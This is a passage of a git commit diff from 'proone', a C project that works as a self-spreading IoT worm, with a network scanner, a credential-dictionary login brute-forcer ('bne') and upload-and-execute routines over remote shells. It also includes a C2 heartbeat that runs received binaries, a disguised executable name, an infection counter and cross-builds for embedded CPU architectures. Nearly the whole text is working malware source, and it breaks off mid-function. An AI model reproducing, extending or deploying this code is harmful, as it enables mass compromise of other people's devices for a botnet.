diff options
author | David Timber <mieabby@gmail.com> | 2020-09-27 22:51:11 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-27 22:51:11 +0930 |
commit | 86038b950f0aaddca7108e903568159414a8d64a (patch) | |
tree | 122ff054b79ac91dc615f2248674fa4944ccdb17 | |
parent | 9f948554902e67cd796dd0635a3c632ccd40c206 (diff) |
* Disable armv7, aarch64, x86_64 target
* Apply recon and bne to proone
* Add callback contexts on htbt and bne
* Fix mem leak in bne_sh_cleanup_upload()
* Use prne_static_assert() instead of _Static_assert()
* Use prne_free_worker() rather than calling free_ctx()
* Add prne_eq_ipaddr()
* bne
* Add prne_bne_result::ny_instance to impl infect_cnt
* Don't delete tmp upload dir after successful bne_sh_run_exec() so
that proone can make tmp files
* Silently ignore PRNE_BNE_V_HTBT if htbt_ssl_conf is not set
* Add prne_bne_get_subject()
* htbt
* Fix crash bug when running without resolv
* proone: set pth priority
-rw-r--r-- | .vscode/launch.json | 6 | ||||
-rwxr-xr-x | scripts/build-all.sh | 27 | ||||
-rw-r--r-- | src/Makefile.am | 7 | ||||
-rw-r--r-- | src/bne.c | 64 | ||||
-rw-r--r-- | src/bne.h | 9 | ||||
-rw-r--r-- | src/data.h | 6 | ||||
-rw-r--r-- | src/htbt.c | 33 | ||||
-rw-r--r-- | src/htbt.h | 15 | ||||
-rw-r--r-- | src/proone-bne.c | 10 | ||||
-rw-r--r-- | src/proone-htbthost.c | 18 | ||||
-rw-r--r-- | src/proone-mkdvault.c | 51 | ||||
-rw-r--r-- | src/proone-recon.c | 5 | ||||
-rw-r--r-- | src/proone-resolv.c | 1 | ||||
-rw-r--r-- | src/proone.c | 398 | ||||
-rw-r--r-- | src/proone.h | 7 | ||||
-rw-r--r-- | src/proone_conf.skel/config.h | 66 | ||||
-rw-r--r-- | src/proone_conf.skel/cred_dict.txt | 1 | ||||
-rw-r--r-- | src/protocol.c | 15 | ||||
-rw-r--r-- | src/protocol.h | 5 | ||||
-rw-r--r-- | src/pth.c | 17 | ||||
-rw-r--r-- | src/pth.h | 1 | ||||
-rw-r--r-- | src/recon.c | 2 | ||||
-rw-r--r-- | src/recon.h | 3 | ||||
-rw-r--r-- | src/resolv.c | 2 |
24 files changed, 664 insertions, 105 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json index a9b6faa..9b27a06 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -165,6 +165,12 @@ "description": "Ignore SIGPIPE", "text": "handle SIGPIPE nostop print", "ignoreFailures": false + }, + { + "description": + "Disable startup-with-shell to pass file cap", + "text": "set startup-with-shell off", + "ignoreFailures": false } ], "preLaunchTask": "Build proone", diff --git a/scripts/build-all.sh b/scripts/build-all.sh index 146bdfb..a9eaeb5 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -2,33 +2,33 @@ set -e ARCH_ARR=( - "aarch64" +# "aarch64" "armv4t" - "armv7" +# "armv7" "i686" - "x86_64" +# "x86_64" "mips" "mpsl" "ppc" "sh4" ) TOOLCHAIN_ARR=( - "aarch64" +# "aarch64" "armv4t" - "armv7" +# "armv7" "i686" - "x86_64" +# "x86_64" "mips" "mpsl" "ppc" "sh4" ) HOST_ARR=( - "aarch64-linux" - "arm-linux" +# "aarch64-linux" "arm-linux" +# "arm-linux" "i686-linux" - "x86_64-linux" +# "x86_64-linux" "mips-linux" "mipsel-linux" "powerpc-linux" @@ -52,10 +52,12 @@ export PROONE_EXEC_PREFIX="$PROONE_EXEC_DIR/exec" export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN_DIR/" PROONE_REL_PREFIX="$PROONE_REL_DIR/proone" PROONE_BINARCH_PREFIX="$PROONE_BINARCH_DIR/binarch" +PROONE_CDICT="$PROONE_PREFIX/cred_dict.bin" PROONE_DVAULT="$PROONE_PREFIX/dvault.bin" PROONE_TOOLS=" proone-pack proone-list-arch + proone-mkcdict proone-mkdvault proone-ipaddr-arr " @@ -69,9 +71,7 @@ set -e # native build for tools ./configure $PROONE_AM_CONF -cd src -make -j$(nproc) $PROONE_TOOLS -cd .. +make -j$(nproc) -C src $PROONE_TOOLS for t in $PROONE_TOOLS; do cp -a "src/$t" "$PROONE_TOOLS_DIR" done @@ -79,7 +79,8 @@ cp -a "./src/run-tests.sh" "./src/testlist" "$PROONE_MISC_BIN_DIR" make distclean # generate dvault -"$PROONE_TOOLS_DIR/proone-mkdvault" > "$PROONE_DVAULT" +"$PROONE_TOOLS_DIR/proone-mkcdict" "./src/proone_conf/cred_dict.txt" "$PROONE_CDICT" +"$PROONE_TOOLS_DIR/proone-mkdvault" "$PROONE_CDICT" > "$PROONE_DVAULT" DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT") # cross-compile targets diff --git a/src/Makefile.am b/src/Makefile.am index e0f8b67..c56fac3 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -86,8 +86,11 @@ proone_bin_LDADD = libproone.a proone_bin_SOURCES =\ proone.c -dvault.bin: proone-mkdvault - ./proone-mkdvault > dvault.bin +dvault.bin: proone-mkdvault cred_dict.bin + ./proone-mkdvault cred_dict.bin > dvault.bin + +cred_dict.bin: proone-mkcdict proone_conf/cred_dict.txt + ./proone-mkcdict proone_conf/cred_dict.txt cred_dict.bin proone_mkdvault_LDADD = libproone.a proone_mkdvault_SOURCES = proone-mkdvault.c @@ -207,7 +207,9 @@ static void bne_delete_cred_w_id (prne_bne_t *ctx, const char *id) { prne_cred_dict_entry_t *ent; const char *ent_id; - if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) { + if (ctx->param.cb.enter_dd != NULL && + !ctx->param.cb.enter_dd(ctx->param.cb_ctx)) + { return; } @@ -224,7 +226,7 @@ static void bne_delete_cred_w_id (prne_bne_t *ctx, const char *id) { } if (ctx->param.cb.exit_dd != NULL) { - ctx->param.cb.exit_dd(); + ctx->param.cb.exit_dd(ctx->param.cb_ctx); } } @@ -254,7 +256,9 @@ static bool bne_pop_cred ( if (ctx->cred_set.size == 0) { return false; } - if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) { + if (ctx->param.cb.enter_dd != NULL && + !ctx->param.cb.enter_dd(ctx->param.cb_ctx)) + { ctx->result.err = errno; return false; } @@ -376,7 +380,7 @@ END: } if (ctx->param.cb.exit_dd != NULL) { - ctx->param.cb.exit_dd(); + ctx->param.cb.exit_dd(ctx->param.cb_ctx); } return ret; @@ -1348,6 +1352,8 @@ static bool bne_sh_cleanup_upload ( } cmd = prne_build_str(sb, sizeof(sb)/sizeof(const char*)); + prne_free(s_ctx->upload_dir); + s_ctx->upload_dir = NULL; if (cmd == NULL) { return false; } @@ -1456,7 +1462,7 @@ static bool bne_sh_upload_echo ( bne_sh_parser_t parser; int ec = -1; - _Static_assert(sizeof(s_ctx->buf) >= BPC, "FIXME"); + prne_static_assert(sizeof(s_ctx->buf) >= BPC, "FIXME"); bne_init_sh_parser(&parser); parser.ctx = &ec; parser.line_f = bne_sh_int_parse_f; @@ -1547,7 +1553,7 @@ static bool bne_sh_upload_base64 ( int ec = -1; size_t len; - _Static_assert(sizeof(s_ctx->buf) >= BPC, "FIXME"); + prne_static_assert(sizeof(s_ctx->buf) >= BPC, "FIXME"); bne_init_sh_parser(&parser); parser.ctx = &ec; parser.line_f = bne_sh_int_parse_f; @@ -1641,11 +1647,20 @@ static bool bne_sh_run_exec ( } switch (ec) { - case PRNE_PROONE_EC_OK: - // successful launch + case PRNE_PROONE_EC_OK: // successful launch + ctx->result.ny_instance = true; + ret = true; + break; case PRNE_PROONE_EC_LOCK: - // failed to acquire lock - // assume that a process is already running + /* + * failed to acquire lock + * assume that a process is already running + */ + /* + * delete the upload dir so the mount point doesn't get stuffed up + * with temp dirs + */ + bne_sh_cleanup_upload(ctx, s_ctx); ret = true; break; } @@ -1697,7 +1712,7 @@ static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { // TRY bne_build_host_cred(sh_ctx, ctx->result.cred.id, ctx->result.cred.pw); - exec_name = ctx->param.cb.exec_name(); + exec_name = ctx->param.cb.exec_name(ctx->param.cb_ctx); if (exec_name == NULL) { ctx->result.err = errno; goto END; @@ -1748,8 +1763,7 @@ static bool bne_do_shell (prne_bne_t *ctx, bne_sh_ctx_t *sh_ctx) { if (ret) { ret = upload_f(ctx, sh_ctx, exec_name) && - bne_sh_run_exec(ctx, sh_ctx, exec_name) && - bne_sh_cleanup_upload(ctx, sh_ctx); + bne_sh_run_exec(ctx, sh_ctx, exec_name); if (ret) { goto END; @@ -1785,6 +1799,9 @@ static bool bne_do_vec_htbt (prne_bne_t *ctx) { ep.port = PRNE_HTBT_PROTO_PORT; // TRY + if (ctx->param.htbt_ssl_conf == NULL) { + goto END; + } if (mbedtls_ssl_setup(&ssl, ctx->param.htbt_ssl_conf) != 0) { goto END; } @@ -3222,22 +3239,15 @@ prne_bne_t *prne_alloc_bne ( prne_bne_t *ret = NULL; uint8_t seed[PRNE_RND_WELL512_SEEDLEN]; - if (ctr_drbg == NULL || param->cb.exec_name == NULL) { + if (ctr_drbg == NULL || + param->cb.exec_name == NULL || + param->rcb.ba == NULL || + param->cred_dict->cnt == 0) + { errno = EINVAL; return NULL; } - for (size_t i = 0; i < param->vector.cnt; i += 1) { - switch (param->vector.arr[i]) { - case PRNE_BNE_V_HTBT: - if (param->htbt_ssl_conf == NULL) { - errno = EINVAL; - return NULL; - } - break; - } - } - // TRY ret = (prne_bne_t*)prne_calloc(sizeof(prne_bne_t), 1); if (ret == NULL) { @@ -3274,3 +3284,7 @@ ERR: // CATCH return NULL; } + +const prne_ip_addr_t *prne_bne_get_subject (const prne_bne_t *bne) { + return bne->result.subject; +} @@ -35,10 +35,11 @@ struct prne_bne_param { size_t cnt; } vector; struct { - char *(*exec_name)(void); - bool (*enter_dd)(void); - void (*exit_dd)(void); + char *(*exec_name)(void *ctx); + bool (*enter_dd)(void *ctx); + void (*exit_dd)(void *ctx); } cb; + void *cb_ctx; struct { const uint8_t *m_self; size_t self_len; @@ -62,6 +63,7 @@ struct prne_bne_result { prne_bne_vector_t vec; prne_pack_rc_t prc; prne_arch_t arch; + bool ny_instance; }; void prne_init_bne_param (prne_bne_param_t *p); @@ -73,3 +75,4 @@ prne_bne_t *prne_alloc_bne ( prne_worker_t *w, mbedtls_ctr_drbg_context *ctr_drbg, const prne_bne_param_t *param); +const prne_ip_addr_t *prne_bne_get_subject (const prne_bne_t *bne); @@ -16,6 +16,12 @@ typedef enum { PRNE_DATA_KEY_RESOLV_NS_IPV4, PRNE_DATA_KEY_RESOLV_NS_IPV6, PRNE_DATA_KEY_CNC_TXT_REC, + PRNE_DATA_KEY_RCN_PORTS, + PRNE_DATA_KEY_RCN_T_IPV4, + PRNE_DATA_KEY_RCN_BL_IPV4, + PRNE_DATA_KEY_RCN_T_IPV6, + PRNE_DATA_KEY_RCN_BL_IPV6, + PRNE_DATA_KEY_CRED_DICT, PRNE_DATA_KEY_EXEC_NAME, NB_PRNE_DATA_KEY @@ -57,6 +57,7 @@ typedef struct { prne_htbt_status_code_t *status, int32_t *err); const prne_htbt_cbset_t *cbset; + void *cb_ctx; size_t skip; prne_iobuf_t iobuf[2]; prne_pth_cv_t cv; @@ -954,7 +955,7 @@ static void htbt_slv_srv_hostinfo ( prne_htbt_init_host_info(&hi); - if (ctx->cbset->hostinfo(&hi)) { + if (ctx->cbset->hostinfo(ctx->cb_ctx, &hi)) { htbt_slv_fab_frame( ctx, mh, @@ -1077,6 +1078,7 @@ static bool htbt_slv_srv_bin ( errno = 0; path = ctx->cbset->tmpfile( + ctx->cb_ctx, bin_meta.bin_size, mh->op == PRNE_HTBT_OP_RUN_BIN ? 0700 : 0600); if (path == NULL) { @@ -1164,7 +1166,7 @@ static bool htbt_slv_srv_bin ( &ret_errno); } else { - if (!ctx->cbset->ny_bin(path, &bin_meta.cmd)) { + if (!ctx->cbset->ny_bin(ctx->cb_ctx, path, &bin_meta.cmd)) { ret_status = PRNE_HTBT_STATUS_ERRNO; ret_errno = errno; goto SND_STATUS; @@ -1662,6 +1664,7 @@ static void htbt_main_srv_hover ( c.slv.write_f = htbt_main_slv_write_f; c.slv.hover_f = htbt_main_slv_hover_f; c.slv.cbset = &ctx->param.cb_f; + c.slv.cb_ctx = ctx->param.cb_ctx; c.slv.cv.lock = &ctx->lock; c.slv.cv.cond = &ctx->cond; mbedtls_ssl_init(&c.ssl); @@ -1707,8 +1710,12 @@ static void *htbt_main_entry (void *p) { HTBT_INTP_CTX(p); htbt_req_slip_t *slip = NULL; - prne_assert(pth_resume(ctx->lbd.pth)); - prne_assert(pth_resume(ctx->cncp.pth)); + if (ctx->lbd.pth != NULL) { + pth_resume(ctx->lbd.pth); + } + if (ctx->cncp.pth != NULL) { + pth_resume(ctx->cncp.pth); + } while (ctx->loop_flag) { prne_dbgtrap(pth_mutex_acquire(&ctx->main.lock, FALSE, NULL)); @@ -1744,10 +1751,14 @@ FREE: } } - prne_assert(pth_join(ctx->lbd.pth, NULL)); - prne_assert(pth_join(ctx->cncp.pth, NULL)); - ctx->lbd.pth = NULL; - ctx->cncp.pth = NULL; + if (ctx->lbd.pth != NULL) { + pth_join(ctx->lbd.pth, NULL); + ctx->lbd.pth = NULL; + } + if (ctx->cncp.pth != NULL) { + pth_join(ctx->cncp.pth, NULL); + ctx->cncp.pth = NULL; + } htbt_main_empty_req_q(ctx); prne_llist_clear(&ctx->main.hover_req); @@ -1861,6 +1872,7 @@ static void htbt_cncp_stream_slv ( c.slv.write_f = htbt_cncp_slv_write_f; c.slv.hover_f = htbt_cncp_slv_hover_f; c.slv.cbset = &ctx->param.cb_f; + c.slv.cb_ctx = ctx->param.cb_ctx; if (!htbt_alloc_slv_iobuf(&c.slv)) { prne_dbgperr("htbt_alloc_slv_iobuf()@CNCP"); goto END; @@ -1973,7 +1985,7 @@ static void htbt_cncp_do_probe (prne_htbt_t *ctx) { cv.cond = &ctx->cncp.cond; cv.broadcast = false; - if (!ctx->param.cb_f.cnc_txtrec(ctx->cncp.txtrec)) { + if (!ctx->param.cb_f.cnc_txtrec(ctx->param.cb_ctx, ctx->cncp.txtrec)) { goto END; } ctx->cncp.txtrec[255] = 0; @@ -2171,6 +2183,7 @@ static bool htbt_alloc_lbd_client ( c->slv.write_f = htbt_lbd_slv_write_f; c->slv.hover_f = htbt_lbd_slv_hover_f; c->slv.cbset = &parent->param.cb_f; + c->slv.cb_ctx = parent->param.cb_ctx; c->slv.cv.lock = &parent->lock; c->slv.cv.cond = &parent->cond; @@ -2483,11 +2496,9 @@ prne_htbt_t *prne_alloc_htbt ( pth_mutex_init(&ret->main.lock); pth_cond_init(&ret->main.cond); - ret->cncp.pth = NULL; pth_mutex_init(&ret->cncp.lock); pth_cond_init(&ret->cncp.cond); - ret->lbd.pth = NULL; prne_init_llist(&ret->lbd.conn_list); ret->lbd.fd = -1; @@ -10,10 +10,16 @@ struct prne_htbt; typedef struct prne_htbt prne_htbt_t; typedef struct prne_htbt_param prne_htbt_param_t; typedef struct prne_htbt_cbset prne_htbt_cbset_t; -typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out); -typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out); -typedef char*(*prne_htbt_tmpfile_ft)(size_t req_size, const mode_t mode); -typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd); +typedef bool(*prne_htbt_cnc_txtrec_ft)(void *ctx, char *out); +typedef bool(*prne_htbt_hostinfo_ft)(void *ctx, prne_htbt_host_info_t *out); +typedef char*(*prne_htbt_tmpfile_ft)( + void *ctx, + size_t req_size, + const mode_t mode); +typedef bool(*prne_htbt_bin_ft)( + void *ctx, + const char *path, + const prne_htbt_cmd_t *cmd); struct prne_htbt_cbset { prne_htbt_cnc_txtrec_ft cnc_txtrec; @@ -28,6 +34,7 @@ struct prne_htbt_param { mbedtls_ctr_drbg_context *ctr_drbg; prne_resolv_t *resolv; prne_htbt_cbset_t cb_f; + void *cb_ctx; int blackhole; }; diff --git a/src/proone-bne.c b/src/proone-bne.c index db4fa66..64dcb11 100644 --- a/src/proone-bne.c +++ b/src/proone-bne.c @@ -122,10 +122,12 @@ static void report_result (const prne_bne_result_t *r) { "- result:\n" "\tsubject: %s\n" "\terr: %d\n" - "\tvector: %s\n", + "\tvector: %s\n" + "\tny_instance: %s\n", ip_str, r->err, - vec_str); + vec_str, + r->ny_instance ? "true" : "false"); if (r->vec >= 0) { const char *arch_str = prne_arch_tostr(r->arch); @@ -144,7 +146,7 @@ static void report_result (const prne_bne_result_t *r) { } } -static char *cb_exec_name (void) { +static char *cb_exec_name (void *ctx) { static const char *EXEC_NAME = "proone"; const size_t len = strlen(EXEC_NAME); char *ret = prne_alloc_str(len); @@ -355,7 +357,7 @@ int main (const int argc, const char **args) { w->pth = NULL; report_result((const prne_bne_result_t*)result); - w->free_ctx(w->ctx); + prne_free_worker(w); prne_free(w); e = prne_llist_erase(&wkr_list, e); } diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index 96ceb9f..978efab 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -68,12 +68,12 @@ static void print_usage (const char *prog) { fprintf(stderr, HELP_STR, prog); } -static bool cb_txtrec (char *out) { +static bool cb_txtrec (void *ctx, char *out) { strcpy(out, htbthost_param.txtrec); return true; } -static bool cb_hostinfo (prne_htbt_host_info_t *out) { +static bool cb_hostinfo (void *ctx, prne_htbt_host_info_t *out) { static struct timespec now; static uint8_t PROG_VER[] = PRNE_PROG_VER; int fd; @@ -86,7 +86,7 @@ static bool cb_hostinfo (prne_htbt_host_info_t *out) { out->infect_cnt = 0; out->parent_pid = out->child_pid = getpid(); - _Static_assert(sizeof(PROG_VER) == sizeof(out->prog_ver), "FIXME"); + prne_static_assert(sizeof(PROG_VER) == sizeof(out->prog_ver), "FIXME"); memcpy(out->prog_ver, PROG_VER, sizeof(PROG_VER)); fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY); @@ -95,7 +95,7 @@ static bool cb_hostinfo (prne_htbt_host_info_t *out) { close(fd); } - _Static_assert(sizeof(instance_id) == sizeof(out->instance_id), "FIXME"); + prne_static_assert(sizeof(instance_id) == sizeof(out->instance_id), "FIXME"); memcpy(out->instance_id, instance_id, sizeof(instance_id)); if (prne_htbt_alloc_host_info(out, hostcred_len)) { @@ -108,7 +108,10 @@ static bool cb_hostinfo (prne_htbt_host_info_t *out) { return true; } -static bool cb_ny_bin (const char *path, const prne_htbt_cmd_t *cmd) +static bool cb_ny_bin ( + void *ctx, + const char *path, + const prne_htbt_cmd_t *cmd) { const size_t path_len = prne_nstrlen(path); @@ -265,7 +268,7 @@ static bool parse_param (const char *arg) { return true; } -static char *mktmpfile (size_t req_size, const mode_t mode) { +static char *mktmpfile (void *ctx, size_t req_size, const mode_t mode) { static int ctr = 0; char *path = NULL, *ret = NULL; int fd = -1, len; @@ -491,7 +494,8 @@ int main (const int argc, const char **args) { } for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { pth_join(wkr_arr[i].pth, NULL); - wkr_arr[i].free_ctx(wkr_arr[i].ctx); + wkr_arr[i].pth = NULL; + prne_free_worker(wkr_arr + i); } pth_kill(); diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c index 68c7abe..bcdc27b 100644 --- a/src/proone-mkdvault.c +++ b/src/proone-mkdvault.c @@ -11,6 +11,7 @@ #include <assert.h> #include <unistd.h> +#include <fcntl.h> #include <mbedtls/entropy.h> #include <mbedtls/ctr_drbg.h> @@ -23,16 +24,17 @@ */ static struct { - const void *data; + void *data; size_t size; prne_dvault_mask_result_t encoded; uint16_t pos; prne_data_type_t type; bool set; + bool ownership; } ENTRIES[NB_PRNE_DATA_KEY]; #define add_cstr(key, cstr) {\ - static const char STR[] = cstr;\ + static char STR[] = cstr;\ ENTRIES[key].data = STR;\ ENTRIES[key].size = sizeof(STR);\ ENTRIES[key].type = PRNE_DATA_TYPE_CSTR;\ @@ -40,13 +42,36 @@ static struct { } #define add_bin(key, bin_arr) {\ - static const uint8_t ARR[] = bin_arr;\ + static uint8_t ARR[] = bin_arr;\ ENTRIES[key].data = ARR;\ ENTRIES[key].size = sizeof(ARR);\ ENTRIES[key].type = PRNE_DATA_TYPE_BIN;\ ENTRIES[key].set = true;\ } +static void add_file (const prne_data_key_t key, const char *path) { + const int fd = open(path, O_RDONLY); + const off_t size = lseek(fd, 0, SEEK_END); + ssize_t f_ret; + + prne_assert(fd >= 0 && size >= 0); + prne_assert(lseek(fd, 0, SEEK_SET) == 0); + ENTRIES[key].data = prne_malloc(1, size); + ENTRIES[key].size = size; + ENTRIES[key].type = PRNE_DATA_TYPE_BIN; + ENTRIES[key].set = true; + ENTRIES[key].ownership = true; + + if (ENTRIES[key].size > 0) { + prne_assert(ENTRIES[key].data != NULL); + } + + f_ret = read(fd, ENTRIES[key].data, ENTRIES[key].size); + prne_assert(f_ret >= 0 && (size_t)f_ret == ENTRIES[key].size); + + close(fd); +} + static mbedtls_entropy_context ent; static mbedtls_ctr_drbg_context rnd; @@ -114,7 +139,7 @@ static void gen_mask (uint8_t *out) { prne_free_imap(&q); } -int main (void) { +int main (const int argc, const char **args) { int callret; uint8_t mask[256]; uint_fast16_t pos = 0; @@ -125,6 +150,10 @@ int main (void) { fprintf(stderr, "Refusing to print on terminal.\n"); return 2; } + if (argc < 2) { + fprintf(stderr, "Usage: %s <cred dict>\n", args[0]); + return 2; + } mbedtls_entropy_init(&ent); mbedtls_ctr_drbg_init(&rnd); @@ -150,7 +179,13 @@ int main (void) { add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV4, PRNE_RESOLV_NS_POOL_IPV4); add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV6, PRNE_RESOLV_NS_POOL_IPV6); add_cstr(PRNE_DATA_KEY_CNC_TXT_REC, PRNE_CNC_TXT_REC); - add_cstr(PRNE_DATA_KEY_EXEC_NAME, "./httpd"); + add_bin(PRNE_DATA_KEY_RCN_PORTS, PRNE_RCN_PORTS); + add_bin(PRNE_DATA_KEY_RCN_T_IPV4, PRNE_RCN_T_IPV4); + add_bin(PRNE_DATA_KEY_RCN_BL_IPV4, PRNE_RCN_BL_IPV4); + add_bin(PRNE_DATA_KEY_RCN_T_IPV6, PRNE_RCN_T_IPV6); + add_bin(PRNE_DATA_KEY_RCN_BL_IPV6, PRNE_RCN_BL_IPV6); + add_file(PRNE_DATA_KEY_CRED_DICT, args[1]); + add_cstr(PRNE_DATA_KEY_EXEC_NAME, PRNE_BNE_EXEC_NAME); pos += NB_PRNE_DATA_KEY * sizeof(uint16_t); @@ -241,5 +276,11 @@ int main (void) { write(STDOUT_FILENO, m_out, pos) == (ssize_t)pos, "dumping on stdout"); + for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) { + if (ENTRIES[i].ownership) { + prne_free(ENTRIES[i].data); + } + } + return 0; } diff --git a/src/proone-recon.c b/src/proone-recon.c index f5a979e..408d68c 100644 --- a/src/proone-recon.c +++ b/src/proone-recon.c @@ -134,7 +134,7 @@ INV_LINE: return 2; } -static void evt_cb (const prne_net_endpoint_t *ep) { +static void evt_cb (void *ctx, const prne_net_endpoint_t *ep) { char addr_str[prne_op_max(INET_ADDRSTRLEN, INET6_ADDRSTRLEN)]; const char *fmt; @@ -273,7 +273,8 @@ int main (const int argc, const char **args) { // fin worker wkr.fin(wkr.ctx); pth_join(wkr.pth, NULL); - wkr.free_ctx(wkr.ctx); + wkr.pth = NULL; + prne_free_worker(&wkr); END: // clean up diff --git a/src/proone-resolv.c b/src/proone-resolv.c index 0e23ba0..0ccec44 100644 --- a/src/proone-resolv.c +++ b/src/proone-resolv.c @@ -292,6 +292,7 @@ int main (void) { } for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { assert(pth_join(wkr_arr[i].pth, NULL)); + wkr_arr[i].pth = NULL; prne_free_worker(wkr_arr + i); } diff --git a/src/proone.c b/src/proone.c index d480696..5e8173e 100644 --- a/src/proone.c +++ b/src/proone.c @@ -21,6 +21,7 @@ #include <libssh2.h> #include "config.h" +#include "proone_conf/config.h" #include "proone.h" #include "protocol.h" #include "util_rt.h" @@ -28,6 +29,10 @@ #include "dvault.h" #include "llist.h" #include "mbedtls.h" +#include "htbt.h" +#include "recon.h" +#include "bne.h" +#include "inet.h" struct prne_global prne_g; @@ -37,6 +42,8 @@ sigset_t ss_exit, ss_all; static prne_worker_t wkr_arr[3]; static size_t wkr_cnt; +static prne_llist_t bne_list; +static prne_bne_param_t bne_param; static void alloc_resolv (void) { prne_resolv_ns_pool_t pool4, pool6; @@ -78,10 +85,16 @@ static void alloc_resolv (void) { pool4, pool6); if (prne_g.resolv != NULL) { + wkr_arr[wkr_cnt].attr = pth_attr_new(); + pth_attr_set(wkr_arr[wkr_cnt].attr, PTH_ATTR_PRIO, PTH_PRIO_STD + 1); + wkr_cnt += 1; pool4.ownership = false; pool6.ownership = false; } + else if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) { + prne_dbgperr("prne_alloc_resolv()"); + } END: prne_dvault_reset(); @@ -89,13 +102,13 @@ END: prne_resolv_free_ns_pool(&pool6); } -static bool cb_htbt_cnc_txtrec (char *out) { +static bool cb_htbt_cnc_txtrec (void *ctx, char *out) { strcpy(out, prne_dvault_get_cstr(PRNE_DATA_KEY_CNC_TXT_REC, NULL)); prne_dvault_reset(); return true; } -static bool cb_htbt_hostinfo (prne_htbt_host_info_t *out) { +static bool cb_htbt_hostinfo (void *ctx, prne_htbt_host_info_t *out) { const struct timespec ts_now = prne_gettime(CLOCK_MONOTONIC); out->parent_uptime = prne_sub_timespec(ts_now, prne_g.parent_start).tv_sec; @@ -131,7 +144,7 @@ static bool cb_htbt_hostinfo (prne_htbt_host_info_t *out) { return true; } -static char *cb_htbt_tmpfile (size_t req_size, const mode_t mode) { +static char *cb_htbt_tmpfile (void *ctx, size_t req_size, const mode_t mode) { uint8_t m[16]; char *path = prne_alloc_str(36 + 3), *ret = NULL; int fd = -1; @@ -173,7 +186,11 @@ static char *cb_htbt_tmpfile (size_t req_size, const mode_t mode) { return ret; } -static bool cb_htbt_nybin (const char *path, const prne_htbt_cmd_t *cmd) { +static bool cb_htbt_nybin ( + void *ctx, + const char *path, + const prne_htbt_cmd_t *cmd) +{ const size_t strsize = prne_nstrlen(path) + 1; if (prne_s_g == NULL || @@ -193,6 +210,7 @@ static bool cb_htbt_nybin (const char *path, const prne_htbt_cmd_t *cmd) { static void alloc_htbt (void) { + prne_htbt_t *htbt; prne_htbt_param_t param; prne_htbt_init_param(¶m); @@ -211,23 +229,211 @@ static void alloc_htbt (void) { param.cb_f.ny_bin = cb_htbt_nybin; param.blackhole = prne_g.blackhole[1]; - prne_g.htbt = prne_alloc_htbt( + htbt = prne_alloc_htbt( wkr_arr + wkr_cnt, ¶m); - if (prne_g.htbt != NULL) { + if (htbt != NULL) { + wkr_arr[wkr_cnt].attr = pth_attr_new(); + pth_attr_set(wkr_arr[wkr_cnt].attr, PTH_ATTR_PRIO, PTH_PRIO_STD + 1); + wkr_cnt += 1; } + else if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) { + prne_dbgperr("prne_alloc_htbt()"); + } END: prne_htbt_free_param(¶m); } +static void cb_recon_evt (void *ctx, const prne_net_endpoint_t *ep) { + prne_llist_entry_t *e = NULL; + prne_worker_t *w = NULL; + prne_bne_t *bne; + + if (bne_list.size >= PROONE_BNE_MAX_CNT) { + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_WARN) { + prne_dbgperr("* PROONE_BNE_MAX_CNT reached!\n"); + } + return; + } + + for (e = bne_list.head; e != NULL; e = e->next) { + w = (prne_worker_t*)e->element; + bne = (prne_bne_t*)w->ctx; + + if (prne_eq_ipaddr(&ep->addr, prne_bne_get_subject(bne))) { + return; + } + } + +// TRY + w = prne_malloc(sizeof(prne_worker_t), 1); + if (w == NULL) { + goto END; + } + prne_init_worker(w); + + e = prne_llist_append(&bne_list, (prne_llist_element_t)w); + if (e == NULL) { + goto END; + } + + bne_param.subject = ep->addr; + bne = prne_alloc_bne(w, &prne_g.ssl.rnd, &bne_param); + if (bne == NULL) { + goto END; + } + w->attr = pth_attr_new(); + pth_attr_set(w->attr, PTH_ATTR_PRIO, PTH_PRIO_STD - 1); + + w->pth = pth_spawn(w->attr, w->entry, w->ctx); + if (w->pth == NULL) { + goto END; + } + + pth_raise(prne_g.main_pth, SIGINT); + e = NULL; + w = NULL; + +END: // CATCH + if (e != NULL) { + prne_llist_erase(&bne_list, e); + } + if (w != NULL) { + prne_free_worker(w); + prne_free(w); + } +} + +static void alloc_recon (void) { + prne_recon_t *rcn; + prne_recon_param_t param; + size_t dvl, cnt; + const uint8_t *m; + size_t i; + + prne_init_recon_param(¶m); + +// TRY + param.evt_cb = cb_recon_evt; + + // load ports + m = prne_dvault_get_bin(PRNE_DATA_KEY_RCN_PORTS, &dvl); + cnt = dvl / 2; + if (!prne_alloc_recon_param( + ¶m, + param.blist.cnt, + param.target.cnt, + cnt)) + { + goto END; + } + for (i = 0; i < cnt; i += 1) { + param.ports.arr[i] = prne_recmb_msb16(m[0], m[1]); + m += 2; + } + + // load ipv4 targets + m = prne_dvault_get_bin(PRNE_DATA_KEY_RCN_T_IPV4, &dvl); + cnt = dvl / 5; + if (!prne_alloc_recon_param( + ¶m, + param.blist.cnt, + cnt, + param.ports.cnt)) + { + goto END; + } + for (i = 0; i < cnt; i += 1) { + prne_memzero(param.target.arr + i, sizeof(prne_recon_network_t)); + + 